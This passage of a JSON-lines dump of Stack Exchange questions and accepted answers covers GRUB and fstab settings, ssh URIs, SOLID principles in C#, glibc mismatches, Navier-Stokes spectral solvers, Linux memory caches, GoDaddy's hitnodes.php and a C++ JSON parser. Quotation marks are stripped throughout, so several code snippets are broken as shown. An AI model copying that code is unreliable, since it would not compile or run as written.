insmod gzio    insmod part_msdos    insmod ext2    set root='hd0,msdos7'    if [ x$feature_platform_search_hint = xy ]; then      search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos7 --hint-efi=hd0,msdos7 --hint-baremetal=ahci0,msdos7 --hint='hd0,msdos7'  b6603ac8-e004-4cd6-b141-9bc95409e32a    else      search --no-floppy --fs-uuid --set=root b6603ac8-e004-4cd6-b141-9bc95409e32a    fi    linux   /vmlinuz-0-rescue-7725dfc225d14958a625ddaaaea5962b root=/dev/mapper/fedora-root ro rd.lvm.lv=fedora/swap rd.md=0 rd.dm=0 vconsole.keymap=guj  rd.luks=0 vconsole.font=latarcyrheb-sun16 rd.lvm.lv=fedora/root rhgb quiet    initrd  /initramfs-0-rescue-7725dfc225d14958a625ddaaaea5962b.img}### END /etc/grub.d/10_linux ###### BEGIN /etc/grub.d/20_linux_xen ###### END /etc/grub.d/20_linux_xen ###### BEGIN /etc/grub.d/20_ppc_terminfo ###### END /etc/grub.d/20_ppc_terminfo ###### BEGIN /etc/grub.d/30_os-prober ###### END /etc/grub.d/30_os-prober ###### BEGIN /etc/grub.d/40_custom #### This file provides an easy way to add custom menu entries.  Simply type the# menu entries you want to add after this comment.  Be careful not to change# the 'exec tail' line above.### END /etc/grub.d/40_custom ###### BEGIN /etc/grub.d/41_custom ###if [ -f  ${config_directory}/custom.cfg ]; then  source ${config_directory}/custom.cfgelif [ -z ${config_directory} -a -f  $prefix/custom.cfg ]; then  source $prefix/custom.cfg;fi### END /etc/grub.d/41_custom ###/etc/fstab looks like this## /etc/fstab# Created by anaconda on Tue Jan  1 11:58:46 2002## Accessible filesystems, by reference, are maintained under '/dev/disk'# See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info#/dev/mapper/fedora-root /                       ext4    defaults            1 1UUID=b6603ac8-e004-4cd6-b141-9bc95409e32a /boot ext4    defaults            1 2/dev/mapper/fedora-home /home                   ext4    defaults            1 2/dev/mapper/fedora-swap swap                    swap    defaults            0 0/dev/sda1       /mnt/media      ntfs-3g gid=admin,umask=0007    0 0/dev/sda5       /mnt/setups     ntfs-3g gid=admin,umask=0007    0 0/dev/sda6       /mnt/documents      ntfs-3g gid=admin,umask=0007    0 0I'm using Fedora 19 on a x86_64 architecture"  , "title": "Unable to boot using self built kernel"  , "tags": "boot;compiling;linux kernel"  , "accepted_answer": "cd to the source directory, type 'make clean', then 'make localmodconfig' then build the kernel as you did before. When you do 'make install' grub.cfg will be autogenerated."  } 
{  "id": "_unix.75668"  , "question": "The RFC: Uniform Resource Identifier (URI) Scheme for Secure File TransferProtocol (SFTP) and Secure Shell (SSH)presents the SSH URI as:ssh://[<user>[;fingerprint=<host-key fingerprint>]@]<host>[:<port>]Are there any known reasons why the OpenSSH ssh command doesn't follow this standard with the hostname option? It does not accept a port after a colon.Example of a URI I was expecting to work:$ ssh user@host:2222ssh: Could not resolve hostname host:2222: Name or service not known"  , "title": "Why doesn't the ssh command follow RFC on URI?"  , "tags": "ssh;openssh"  , "accepted_answer": "ssh predates the more general URI format (1998) by several years (1995 IIRC)."  } 
{  "id": "_codereview.138643"  , "question": "I am working on some sampling to collect data for my research on SOLID Principles. One of my sample consists proceeding code snippet:public abstract class Notify{    public abstract void NotifyClient();}public class OnPremisesClient : Notify{    public override void NotifyClient()    {        Console.WriteLine(You're getting these notifications because you opted....);    }}public class CloudClient : Notify{    public override void NotifyClient()    {        Console.WriteLine(You're getting these notifications because you opted....);        if (IsOnPremisesToo)            NotifyClientAsOnPremisesClient();    }    public void NotifyClientAsOnPremisesClient()    {        Console.WriteLine(Awesome! You are also using On premises services...);    }    public bool IsOnPremisesToo { get; set; }}Calling class is:public  class Program    {         public static void Main(string[] args)          {              var premisesClient = new OnPremisesClient();              var cloudClient = new CloudClient();              ProcessNotifications(new List<Notify> { premisesClient, cloudClient });          }          private static void ProcessNotifications(List<Notify> list)          {               HandleItems(list);          }          static void HandleItems(IEnumerable<Notify> notifications)          {              foreach (var notification in notifications)              {                 if (notification is CloudClient)                 {                     var cloudClient = notification as CloudClient;                     cloudClient.IsOnPremisesToo = true;                 }                 notification.NotifyClient();              }          }    }In the preceding code snippet, I am trying to notify the client as per the type of Notify client could be a OnPremisesClient or CloudClient.This code-snippet looks neat and clean, but I would like to discuss which SOLID principle it violates. After going through few SOLID resources, I thought it violates SRP as it uses if. In the future, if there will be new client like GalaxyClient, then this code need a new condition. There might be more violations.Are SOLID principles really violate in the give code-snippet or just I am thinking it violates SOLID? I would appreciate it if someone tells the which principles are violating with reasoning. What would be the new code or what are changes should made to this code so, it'd follow SOLID Principles?"  , "title": "Sampling to collect data"  , "tags": "c#;object oriented"  , "accepted_answer": "The code in example is violating following principles:Single Responsibility Principle(SRP):The responsibility of Notifying is spread thin across Clients and the classes are not clear with their intentions and it is also not reflecting through the behaviours. Now, it is not clear whether the client is also supposed to do other jobs.Liscov Substitute Principle(LSP):'Is-A' Relationship should be replaced with 'Is-Substitue-for' relationship. notification is CloudClient is violating LSP.Dependency Inversion Principle(DIP): is violated since program class is dependent on client implementations and Notify class.IMO, code can be restructured as follows. Please note, it can be also improved with better DI Implementation. By judging the code listing, I am not clear what is intended output of this program. Whether it is sending two different notifications or three notifications. Still,trying to provide the answer as per my understanding and assumptions below. Please let me know in comments the intent of the program so that I can modify the program as per the intent.using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Threading.Tasks;namespace CodeSmellQuestion{    public class Notification    {        private readonly List<INotify> _providerList;        public Notification(List<INotify> providerList)        {            _providerList = providerList;        }        public void SendAll()        {            foreach (var notificationProvider in _providerList)            {                notificationProvider.Notify();            }        }    }    public interface INotify    {        void Notify();    }    public class OnPremiseNotifier : INotify    {        public void Notify()        {            Console.WriteLine(You're getting these notifications because you opted for OnPremise Notifications....);        }    }    public class CloudNotifier : INotify    {        public void Notify()        {            Console.WriteLine(You're getting these notifications because you opted for Cloud Notifications....);         }    }}"  } 
{  "id": "_unix.210948"  , "question": "I tried to use the ls command and got an error:bash: /bin/ls: cannot execute binary fileWhat can I use instead of this command?"  , "title": "What to use when the ls command doesn't work?"  , "tags": "linux;command line;ls"  , "accepted_answer": "You can use the echo or find commands instead of ls:echo *or:find -printf %M\\t%u\\t%g\\t%p\\n"  } 
{  "id": "_unix.108345"  , "question": "I built Firefox 26 on Mint 16 because the Ubuntu 10.04 build utilities are too old to build it. It does need to run on 10.04, however, since that's the target OS I'm building for. It built and runs just fine on Mint 16.When moving the package over to 10.04 and attempting to run, I get errors because the OS uses a different libc version than Firefox was built against.The actual error is:/lib/libc.so.6: version `GLIBC_2.17' not foundI've been doing a lot of research trying to solve this, and so far have discovered the following:I can point a binary at an alternate path for library files withexport LD_LIBRARY_PATH=/opt/libI placed the libc.so.6 from Mint 16 into /opt/lib on 10.04 and ran the above command. But after changing that variable, i get:error while loading shared libraries: __vdso_time:   invalid mode for dlopen(): Invalid argumentNot just for firefox, but for every command, including things like ls. A bit more research suggests that I need a set of library files to make this work, not just libc.so.6. The problem is, I don't know which ones I need to copy over?Then I discovered ldd. ldd ./firefox shows:./firefox: /lib/libc.so.6: version `GLIBC_2.17' not found (required by ./firefox)    linux-vdso.so.1 =>  (0x00007fffe9289000)    libpthread.so.0 => /lib/libpthread.so.0 (0x00007f80ee456000)    libdl.so.2 => /lib/libdl.so.2 (0x00007f80ee252000)    libstdc++.so.6 => /usr/lib/libstdc++.so.6 (0x00007f80edf3d000)    libm.so.6 => /lib/libm.so.6 (0x00007f80edcba000)    libc.so.6 => /lib/libc.so.6 (0x00007f80ed934000)    /lib64/ld-linux-x86-64.so.2 (0x00007f80ee68b000)    libgcc_s.so.1 => /lib/libgcc_s.so.1 (0x00007f80ed71c000)And I thought, maybe I just need to copy all of those on the list. Except I couldn't find a linux-vdso anywhere on Mint 16, and it's vdso that is being complained about.So my question is, which libraries do I need to move from Mint 16 to Ubuntu 10.04 into /opt/var, to make Firefox run on 10.04?"  , "title": "Which library files are needed to run a binary with an alternate libc version?"  , "tags": "ubuntu;compiling;libraries;firefox;dependencies"  } 
{  "id": "_scicomp.19395"  , "question": "I have developed a pseudospectral solver of the Navier-Stokes equations using FFTW. I tested my formulation of right hand sides (RHS) of the NS equations against standard trigonometric functions (sines, cosines and their combinations). For example, I set density = sin 5xx_velocity = 5cos 5y + 6sin7zy_velocity = 4sin4y + cos xz_velocity = 1pressure = cos zSupplying these values to the solver, it computed the RHS of the NS equations. I did the same by hand and compared the results with that obtained by the solver. Results were to good agreement. The maximum error between the exact answer and that computed by the solver was of the order of E-13 for a 128*128*128 grid.Next I used a different function of the following form:density = constant1+constant2*(tanh(x-constant3)-tanh(x-constant4))x_velocity = 0y_velocity = 0z_velocity = 0temperature = 1pressure -> from ideal gas equation connecting density, temperature and pressureThe density was adjusted suitably based on the constants, to have a period of 2*pi. On calculating the RHS of the x-momentum Navier Stokes based on these values given and comparing it with my answer (calculated by hand), I obtained a maximum error of the order of E-03. Further, using these values as initial values of the variables and moving forward in time by a Runge-Kutta 4 scheme, I get values of the density that seem to diverge very quickly. After about 30 time steps, I get NaNs.Is there a specific reason why I notice a decrease in precision when non trigonometric periodic functions are used ?Is 1. related to why my code seems to produce unstable results when marching forward in time ?I wouldn't mind pasting the code here but it's pretty large.I thought I would plot the initial density and its variation. But turns out I can't as I do not have enough reputation to do so.The initial plot (@t = 0.0s) is a density plot that looks like a rectangular wave with the tanh functions used to smoothen the wave at the various corners.At around t = 0.10s (the time step is 0.01s so, after 10 iterations), it develops spikes and becomes non-differentiable (still continuous). "  , "title": "precision loss in non-trigonometric, periodic functions using FFTW and NaNs after marching forward in time (Fortran)"  , "tags": "fortran;navier stokes;precision;fourier transform;fftw"  , "accepted_answer": "There are three issues that are likely to cause such problems in pseudospectral methods:Gibbs oscillationsAliasingTime step too largeIn any case you likely develop oscillations in the solution until some point ends up with a negative density, resulting in a NaN when computing the pressure or sound speed or some other term. The solution to 3 is obvious, decrease the time step until the time integration is stable. The other two are more nuanced.Gibbs oscillationsGibbs oscillations arise when computing the Fourier series of discontinuous functions. Gibbs oscillations arise in the derivatives if the function is non-smooth. If you have large jumps in your initial conditions then the Fourier series will match the values at grid points exactly, but the derivative will have large oscillations, leading to loss of precision in the derivative (right hand side) computations. See the image below for a demonstration of this, the values match but the derivative does not. As a rule of thumb, jumps must be smoothed out over about 10 grid to prevent this behavior.Even if your initial conditions are smooth on the scale of the grid, the state variables may quickly steepen. In compressible Navier-Stokes, the viscous terms act to prevent shocks from forming, but if your simulation is not sufficiently resolved you will still develop jumps in your simulation. Sufficiently resolved means having grid spacing small enough to capture the viscous dissipation, which can be estimated by looking at the Kolmogorov scale, see this PDF. This quickly leads to large, non-physical oscillations and a divergent solution.AliasingAliasing occurs in pseudospectral methods due to the presence of nonlinear terms (e.g. $u u_x$) in the evolution equation. Computation of the derivatives in spectral space assumes that you are resolving a certain number of wavelengths. However, nonlinear terms continuously generate higher and higher wavenumbers. In a discrete problem, these higher wavenumbers are aliased back to affect the lower wavenumbers that can actually be represented at the chosen resolution. This corrupts the lower wavenumber values and can quickly lead to oscillations, non-physical results, and the simulation blowing up.A simple demonstration of how nonlinear terms generate higher wavenumbers, and how those wavenumbers are aliased to lower wavenumbers is shown in the following scenario (see image below):Take a grid of 7 points on the interval [0,1). Let $a = \\cos(6\\pi x )$ and $b = \\sin(6\\pi x)$. These terms both have (angular) frequencies of $6\\pi$. The term$$ab = \\cos(6\\pi x )\\sin(6\\pi x ) = \\frac{1}{2}\\sin(12\\pi x)$$has frequency $12\\pi$. This frequency cannot be resolved on the chosen grid, but the values of $ab$ on the grid are equal to the values of $-\\sin(2\\pi x)/2$ on the grid. So instead of a $12\\pi$ frequency component (which is not captured in the discretized space), the result of $ab$ appears as a $2\\pi$ frequency component.There are multiple options available to prevent aliasing from corrupting your results, commonly termed dealiasing. The most common methods are zero padding (3/2-rule, effectively increasing grid resolution before nonlinear multiplications and then discarding the higher frequencies), 2/3-rule truncation (zeroing out the highest wavenumbers before nonlinear multiplications, original paper), or filtering procedures (e.g. this method).Additionally, there is evidence that for well resolved simulations dealiasing is not crucial since the highest wavenumbers components (which may produce aliasing) are small due to the viscous dissipation.This presentation (PDF) also provides a good overview of dealiasing, including some of the history."  } 
{  "id": "_unix.336878"  , "question": "I have strange issue with alarms, which seems not to be supported.I can use rtc0 timer, but not alarms.Trying to do root@w812a_kk:/ # busybox rtcwake -s 10rtcwake: /dev/rtc0 not enabled for wakeup events1|root@w812a_kk:/ #then trying to compile a code which does timer, and alarm, I get invalid argument onioctl(fd, RTC_AIE_ON, 0);I also see that wakeup entry is missing:/sys/devices/platform/mt-rtc/rtc/rtc0/sys/devices/platform/mt-rtc/rtc/rtc0/dev/sys/devices/platform/mt-rtc/rtc/rtc0/date/sys/devices/platform/mt-rtc/rtc/rtc0/name/sys/devices/platform/mt-rtc/rtc/rtc0/time/sys/devices/platform/mt-rtc/rtc/rtc0/power/sys/devices/platform/mt-rtc/rtc/rtc0/since_epoch/sys/devices/platform/mt-rtc/rtc/rtc0/device/sys/devices/platform/mt-rtc/rtc/rtc0/subsystem/sys/devices/platform/mt-rtc/rtc/rtc0/hctosys/sys/devices/platform/mt-rtc/rtc/rtc0/max_user_freq/sys/devices/platform/mt-rtc/rtc/rtc0/uevent/sys/class/rtc/rtc0How can I enable alarms ?ThanksRan"  , "title": "Timer - without alarm and wakeup support?"  , "tags": "android;time"  } 
{  "id": "_unix.199202"  , "question": "Without programs open, my computer uses about 512M of memory. Yesterday, I had nothing open, yet 2 GB of mem use (used - cache = 2153):             total       used       free     shared    buffers     cachedMem:          3261       2875        386         30        199        523-/+ buffers/cache:       2153       1108Swap:         8187          0       8187Top showed no processes taking this up:top - 23:10:38 up 1 day, 14:35,  3 users,  load average: 0,31, 0,94, 1,29Tasks: 172 total,   3 running, 169 sleeping,   0 stopped,   0 zombie%Cpu(s):  6,5 us,  4,2 sy,  0,0 ni, 89,1 id,  0,1 wa,  0,0 hi,  0,1 si,  0,0 stKiB Mem:   3340164 total,  2937728 used,   402436 free,   201484 buffersKiB Swap:  8384444 total,      180 used,  8384264 free.   531636 cached Mem  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND 2520 halfgaar  20   0 3869744 173620  38568 S   1,6  5,2  52:20.03 plasma-desktop 1535 root      20   0  246420 108512  40420 S   2,0  3,2  22:36.65 Xorg 2665 halfgaar  20   0 1354660  50624  15116 R   0,0  1,5   0:10.08 krunner 2513 halfgaar  20   0 2966468  48564  19280 S   0,0  1,5   0:34.62 kwin 2306 halfgaar  20   0 1329360  41448  12488 S   0,0  1,2   0:09.80 kded4 2675 halfgaar  20   0  796712  37360  13804 S   0,0  1,1   0:04.23 kmix 2619 halfgaar  20   0  649136  34160  14204 S   0,0  1,0   0:00.95 akonadi_mailfil 2629 halfgaar  20   0  621348  33860  13876 S   0,0  1,0   0:00.88 akonadi_sendlat 2562 halfgaar  20   0 1242180  33212   2504 S   0,2  1,0   3:20.05 mysqld 2611 halfgaar  20   0  649132  33048  14140 S   0,0  1,0   0:01.29 akonadi_archive18552 halfgaar  20   0  508376  32948  24108 S   2,6  1,0   0:02.23 konsole 2645 halfgaar  20   0  506340  32204   8796 S   0,0  1,0   0:05.13 mintUpdate 2626 halfgaar  20   0  552648  31768  14152 S   0,0  1,0   0:00.93 akonadi_notes_a 2430 halfgaar  20   0  556864  30052   9484 S   0,0  0,9   0:10.57 ksmserver 2546 halfgaar  20   0  866520  28528  12584 S   0,0  0,9   0:04.34 knotify4 2302 halfgaar  20   0  382404  26896  10112 S   0,0  0,8   0:01.17 kdeinit4 2304 halfgaar  20   0  387792  23516   4892 S   0,0  0,7   0:00.55 klauncher 2648 halfgaar  20   0  541576  22824  13864 S   0,0  0,7   0:01.36 polkit-kde-auth 2623 halfgaar  20   0  390412  19216  13712 S   0,0  0,6   0:00.79 akonadi_newmail 2615 halfgaar  20   0  340388  18200  13276 S   0,0  0,5   0:00.75 akonadi_maildis 2621 halfgaar  20   0  303972  17884  13272 S   0,0  0,5   0:00.70 akonadi_migrati 2612 halfgaar  20   0  306052  17856  13188 S   0,0  0,5   0:00.71 akonadi_followu 2606 halfgaar  20   0  327700  16772  12600 S   0,0  0,5   0:00.53 akonadi_agent_l 2613 halfgaar  20   0  321704  16740  12576 S   0,0  0,5   0:00.52 akonadi_agent_l 2614 halfgaar  20   0  327680  16560  12420 S   0,0  0,5   0:00.54 akonadi_agent_l 2325 halfgaar  20   0  735344  14928  10116 S   0,0  0,4   0:04.63 kactivitymanage 2313 halfgaar  20   0  282096  14832   9488 S   0,0  0,4   0:00.74 kglobalaccel 2554 halfgaar  20   0  276912  14472  10148 S   0,0  0,4   0:02.04 kuiserverJust to try, I dropped caches:echo 3 > /proc/sys/vm/drop_cachesAnd memory usage dropped:             total       used       free     shared    buffers     cachedMem:          3261        850       2411         30          1         79-/+ buffers/cache:        770       2491Swap:         8187          0       8187How can this be? Why is cache being stored in a way the kernel thinks it's not cache? Can it be the cache of my ecryptfs encrypted home dir? I did just run a backup of that, so a lot of files and meta data on it were cached.Linux Mint 17.1Kernel 3.13.0-37"  , "title": "What memory is not used by processes and freed by `echo 3 > /proc/sys/vm/drop_caches`?"  , "tags": "linux;memory;cache"  , "accepted_answer": "Writing a 1 to drop_caches only drops the ( data ) cache.  The 3 also drops the dentry cache, or cache of names of files on the disk.  If you had recently been working with directories containing many small files, that would account for it."  } 
{  "id": "_webmaster.76556"  , "question": "At my company, our website is hosted with GoDaddy's shared hosting service. I was tidying up the html folder today and noticed a file called hitnodes.php which I hadn't noticed before. It was only 16 lines long, and the code seemed innocuous, and just printed out the hostname of the server we're on and a bunch of dots.I was pretty sure we didn't put it there, which lead me to believe it was from GoDaddy, so I called their support to see if they knew what it was. The guy I talked to just said oh, I'll delete that, and when I asked what it was, he said that he wasn't allowed to tell me (!), and that he had just deleted it. When I pressed him as to why there was a file in our site that he couldn't tell us about, he just said it had to do with server maintenance and he couldn't tell me anything else about it.So half out of concern that this could be part of some exploit that he didn't want to spook me about, and half out of pure curiosity, I've been trying to find out what this script is for, but the most I could turn up was this page talking about a method to quickly check for errors on a 4GH or Grid system. I didn't really follow what the author of that blog was talking about, and I was hoping that someone here might have a good explanation for the purpose of this script and how it works, and maybe some idea of why the GoDaddy representative was being so cagey about it. If it was just to check if a node was having problems, why not say Oh, that was so we could quickly see if the server was having problems.? Not exactly state secrets...Here's the code reproduced for your scrutiny:<?php    if ( $_SERVER[OS] == Windows_NT ) {        $hostname = strtolower($_SERVER[COMPUTERNAME]);    } else {        $hostname = `hostname`;        $hostnamearray = explode('.', $hostname);        $hostname = $hostnamearray[0];    }    if ( !preg_match(/[0-9]{2,4}/, $hostname, $match) ) die(Failed to detect node);    $node = $match[0];    if ( preg_match(/^0/, $node) ) $node += 1000;    header(Content-Length:  . $node);    $response = $hostname . <br />Padding: ;    $response = $response . str_repeat('.', $node - strlen($response));    echo $response;?>"  , "title": "What is 'hitnodes.php' on a GoDaddy shared hosting server?"  , "tags": "php;godaddy;shared hosting"  , "accepted_answer": "This is a file used by GoDaddy's hosting department to periodically test if accounts on their Fourth-Generation Hosting (4GH) systems are reachable. 4GH was GoDaddy's precursor to cloud hosting, as can be read about here:Web Hosting pools the resources of many servers and your site's  content resides on multiple servers. This networked system helps  achieve a high reliabilitybeyond 99.9%for your website because if  one server shuts down, only a fraction of the total resources are  lost.In this system configuration, each account can be accessed via a 4 different nodes on a grid hosting system (hence the abbreviation 4GH), allowing for redundancy and performance increases via load balancing over standard hosting.The hitnodes.php script for Linux (and hitnodes.aspx for Windows) is aptly named, since it's used by their hosting department to see if sites are reachable (i.e., can be hit) on these nodes. By taking a look at the page size returned by this script, their IT department (and you as well), can see what node a site is being served on. Most 4GH accounts end up getting migrated to different server configurations depending on usage (as an upgrade), so they likely use this script for gauging that as well.I've seen this file in accounts before, and as the GoDaddy representative relayed, it can just be deleted without any consequences. I'm sure the rep did not want to elaborate further on how this script is used because placing files in accounts is usually not very well received by customers, and I suppose it could be used to test if a hack or DDoS was successful for a particular node/server. I do not think 4GH accounts are sold by GoDaddy anymore, since they've replaced them with cPanel (for Linux) and Plesk (for Windows) accounts instead of using their in-house control panel, so this file likely won't be seen as much in the future."  } 
{  "id": "_unix.260202"  , "question": "In order to reduce my notebook's power consumption I am using PowerTOP 2.5.hardware: Thinkpad W540os: Linux Mint 17.3 Rosakernel: 3.16.0-38-genericI noticed that cinnamon and i915 are the primary causes for cpu wakeups:Any idea how I could configure them differently so they cause less cpu wakeups?"  , "title": "Reduce CPU wakeups by cinnamon and i915"  , "tags": "graphics;cinnamon;power management;laptop;i915"  } 
{  "id": "_unix.38110"  , "question": "Why am I receiving this error message on Kubuntu since I upgraded to 12.04 and how can I make it stop appearing? It appears as a pop up balloon above the system tray.Mail Dispatcher Agent: Could not access the outbox folder (Unknow error. (Failed to fetch the resource collection.))."  , "title": "Mail Dispatcher Agent: Could not access the outbox folder (Unknow error. (Failed to fetch the resource collection.))"  , "tags": "ubuntu;kde;email;kubuntu"  , "accepted_answer": "This forum thread discusses the issue and includes various solutions/workarounds, such as deleting /.config/akonadi,Rather than removing the akonadi configuration, I edited ~/.config/akonadi/aknoadiserverrc and changed StartServer=true to StartServer=false, and then rebooted (although logging out and back in should have been sufficient). (1)or this oneHi,  I had the same problem here, also on a Kubuntu system that has undergone many distribution upgrades.I found the following solution without having to delete Akonadi's configuration or disabling it completely:  In the Akonadi configuration dialog (where you configure the Akonadi ressources), I had an e-mail ressource named Local Folder. Deleting it made the startup warning go away. (2)"  } 
{  "id": "_codereview.47124"  , "question": "This code animates my main game sprite by increasing the animation frame. First I check if the character is moving, then I increase the animation counter until it reaches the desired speed, and then if so, I increase the animation frame.How can I make it more elegant and optimised in terms of speed?       if (moving){        anispeed++;        if (anispeed==animaxspeed){            anispeed=0;            animationframe++;            if (animationframe==3) animationframe=0;        }"  , "title": "Game sprite animation"  , "tags": "java;animation"  } 
{  "id": "_cogsci.7871"  , "question": "The Word Wide Web Consortium (W3C) has a formula for the contrast ratio of any two arbitrary colors, which they use to set minimum standards for text legibility: http://www.w3.org/TR/WCAG20-TECHS/G18.htmlStep 1 of the process is relatively straight-forward - it uses a well known conversion from sRGB to XYZ and keeps the Y component for the next step. Step 2 is the same for the second color.My question comes in step 3, where the ratio is determined as (L1 + 0.05) / (L2 + 0.05) with L1 and L2 being the luminances of the lighter and darker colors from steps 1 and 2. Where does the magic constant 0.05 come from? It's obvious that some constant offset is needed, otherwise pure black would have infinite contrast against every other color. But how is it derived?Also, does this contrast ratio reasonably describe how easy it is to discern text against a background? Or is there a different formula that would be better?I ask because it seems to favor black over white - where I see better results with white text, the formula suggests black is better. I'd like a clearer understanding."  , "title": "What is the source for the W3C's Contrast Ratio formula?"  , "tags": "vision"  } 
{  "id": "_codereview.79279"  , "question": "As nobody has provided input, I have updated the question. (The next one is coming soon)Coding to this interface:namespace ThorsAnvil{    namespace Serialization    {class ParserInterface{    public:        enum class ParserToken {Error, DocStart, DocEnd, MapStart, MapEnd, ArrayStart, ArrayEnd, Key, Value};        std::istream&   input;        ParserToken     pushBack;        ParserInterface(std::istream& input)            : input(input)            , pushBack(ParserToken::Error)        {}        virtual ~ParserInterface() {}                ParserToken     getToken();                void            pushBackToken(ParserToken token);        virtual ParserToken     getNextToken()          = 0;        virtual std::string     getKey()                = 0;        virtual void    getValue(short int&)             = 0;        virtual void    getValue(int&)                   = 0;        virtual void    getValue(long int&)              = 0;        virtual void    getValue(long long int&)         = 0;        virtual void    getValue(unsigned short int&)    = 0;        virtual void    getValue(unsigned int&)          = 0;        virtual void    getValue(unsigned long int&)     = 0;        virtual void    getValue(unsigned long long int&)= 0;        virtual void    getValue(float&)                 = 0;        virtual void    getValue(double&)                = 0;        virtual void    getValue(long double&)           = 0;        virtual void    getValue(bool&)                  = 0;        virtual void    getValue(std::string&)           = 0;};    }}The Json Implementation is:JsonParser.h#ifndef THORS_ANVIL_SERIALIZATION_JSON_PARSER_H#define THORS_ANVIL_SERIALIZATION_JSON_PARSER_H#include Serialize.h#include JsonLexer.h#include <istream>#include <string>#include <vector>namespace ThorsAnvil{    namespace Serialization    {class JsonParser: public ParserInterface{    enum State          {Error, Init, OpenM, Key, Colon, ValueM, CommaM, CloseM, OpenA, ValueA, CommaA, CloseA, Done};    JsonLexerFlexLexer  lexer;    std::vector<State>  parrentState;    State               currentEnd;    State               currentState;    bool                started;    std::string getString();    template<typename T>    T scan();    public:        JsonParser(std::istream& stream);        virtual ParserToken getNextToken()                      override;        virtual std::string getKey()                            override;        virtual void    getValue(short int& value)              override;        virtual void    getValue(int& value)                    override;        virtual void    getValue(long int& value)               override;        virtual void    getValue(long long int& value)          override;        virtual void    getValue(unsigned short int& value)     override;        virtual void    getValue(unsigned int& value)           override;        virtual void    getValue(unsigned long int& value)      override;        virtual void    getValue(unsigned long long int& value) override;        virtual void    getValue(float& value)                  override;        virtual void    getValue(double& value)                 override;        virtual void    getValue(long double& value)            override;        virtual void    getValue(bool& value)                   override;        virtual void    getValue(std::string& value)            override;};    }}#endifJsonParser.cpp#include JsonParser.h#include JsonLexemes.h#include UnicodeIterator.h#include <map>#include <cstdlib>// enum class ParserToken {Error, MapStart, MapEnd, ArrayStart, ArrayEnd, Key, Value};using namespace ThorsAnvil::Serialization;using ParserToken = ParserInterface::ParserToken;JsonParser::JsonParser(std::istream& stream)    : ParserInterface(stream)    , lexer(&stream)    , currentEnd(Done)    , currentState(Init)    , started(false){}ParserToken JsonParser::getNextToken(){    /* Handle States were we are not going to read any more */    if (!started)    {        started = true;        return ParserToken::DocStart;    }    if (currentState == Done)    {        currentState = Error;        return ParserToken::DocEnd;    }    if (currentState == Error)    {        return ParserToken::Error;    }    // Convert Lexer tokens into smaller range 0-12    static std::map<int, int>   tokenIndex  =        {0,                                     0},        {'{',                                   1},        {'}',                                   2},        {'[',                                   3},        {']',                                   4},        {',',                                   5},        {':',                                   6},        {ThorsAnvil::Serialize::JSON_TRUE,      7},        {ThorsAnvil::Serialize::JSON_FALSE,     8},        {ThorsAnvil::Serialize::JSON_NULL,      9},        {ThorsAnvil::Serialize::JSON_STRING,    10},        {ThorsAnvil::Serialize::JSON_INTEGER,   11},        {ThorsAnvil::Serialize::JSON_FLOAT,     12}    };    // State transition table;    static State   stateTable[][13]   =    {        /* Token   ->   0,      1,      2,      3,      4,      5,      6,      7,      8,      9,      10,     11,     12 */        /* Error */ {   Error,  Error,  Error,  Error,  Error,  Error,  Error,  Error,  Error,  Error,  Error,  Error,  Error   },        /* Init  */ {   Error,  OpenM,  Error,  OpenA,  Error,  Error,  Error,  Error,  Error,  Error,  Error,  Error,  Error   },        /* OpenM */ {   Error,  Error,  CloseM, Error,  Error,  Error,  Error,  Error,  Error,  Error,  Key,    Error,  Error   },        /* Key   */ {   Error,  Error,  Error,  Error,  Error,  Error,  Colon,  Error,  Error,  Error,  Error,  Error,  Error   },        /* Colon */ {   Error,  OpenM,  Error,  OpenA,  Error,  Error,  Error,  ValueM, ValueM, ValueM, ValueM, ValueM, ValueM  },        /* ValueM*/ {   Error,  Error,  CloseM, Error,  Error,  CommaM, Error,  Error,  Error,  Error,  Error,  Error,  Error   },        /* CommaM*/ {   Error,  Error,  Error,  Error,  Error,  Error,  Error,  Error,  Error,  Error,  Key,    Error,  Error   },        /* CloseM*/ {   Error,  Error,  Error,  Error,  Error,  Error,  Error,  Error,  Error,  Error,  Error,  Error,  Error   },        /* OpenA */ {   Error,  OpenM,  Error,  OpenA,  CloseA, Error,  Error,  ValueA, ValueA, ValueA, ValueA, ValueA, ValueA  },        /* ValueA*/ {   Error,  Error,  Error,  Error,  CloseA, CommaA, Error,  Error,  Error,  Error,  Error,  Error,  Error   },        /* CommaA*/ {   Error,  OpenM,  Error,  OpenA,  Error,  Error,  Error,  ValueA, ValueA, ValueA, ValueA, ValueA, ValueA  },        /* CloseA*/ {   Error,  Error,  Error,  Error,  Error,  Error,  Error,  Error,  Error,  Error,  Error,  Error,  Error   },        /* Done  */ {   Error,  Error,  Error,  Error,  Error,  Error,  Error,  Error,  Error,  Error,  Error,  Error,  Error   },    };    // Read the next token and update the state.    int token   = lexer.yylex();    int index   = tokenIndex[token];    currentState    = stateTable[currentState][index];    switch(currentState)    {        // These states should be impossible to get too        case Init:      throw std::runtime_error(ThorsAnvil::Serialize::JsonParser: Got into Init State);        case Done:      throw std::runtime_error(ThorsAnvil::Serialize::JsonParser: Got into Done State);        // The states that we actually want to return        case Error:     return ParserToken::Error;        case Key:       return ParserToken::Key;        case ValueM:    return ParserToken::Value;        case ValueA:    return ParserToken::Value;        // Punctuation.        // Parse it but it is not the actual result        // So try and get the next token.        case Colon:     return getNextToken();        case CommaM:    return getNextToken();        case CommaA:    return getNextToken();        // We are going into a containing object.        // Push the state we want when the containing        // object is complete then set the state we will        // need if we open another container.        case OpenM:            parrentState.push_back(currentEnd);            currentEnd  = ValueM;            return ParserToken::MapStart;        case OpenA:            parrentState.push_back(currentEnd);            currentEnd  = ValueA;            return ParserToken::ArrayStart;        // We are leaving the containing object.        // Pop the state we previously saved.        case CloseM:            currentEnd  = currentState    = parrentState.back();            parrentState.pop_back();            return ParserToken::MapEnd;        case CloseA:            currentEnd  = currentState    = parrentState.back();            parrentState.pop_back();            return ParserToken::ArrayEnd;        // Anything else just break.        default:            break;    }    // If we hit anything else there was a serious problem in the    // parser itself.    throw std::runtime_error(ThorsAnvil::Serialize::JsonParser: Reached an Unnamed State);};std::string JsonParser::getString(){    if (lexer.YYLeng() < 2 || lexer.YYText()[0] != '' || lexer.YYText()[lexer.YYLeng()-1] != '')    {        throw 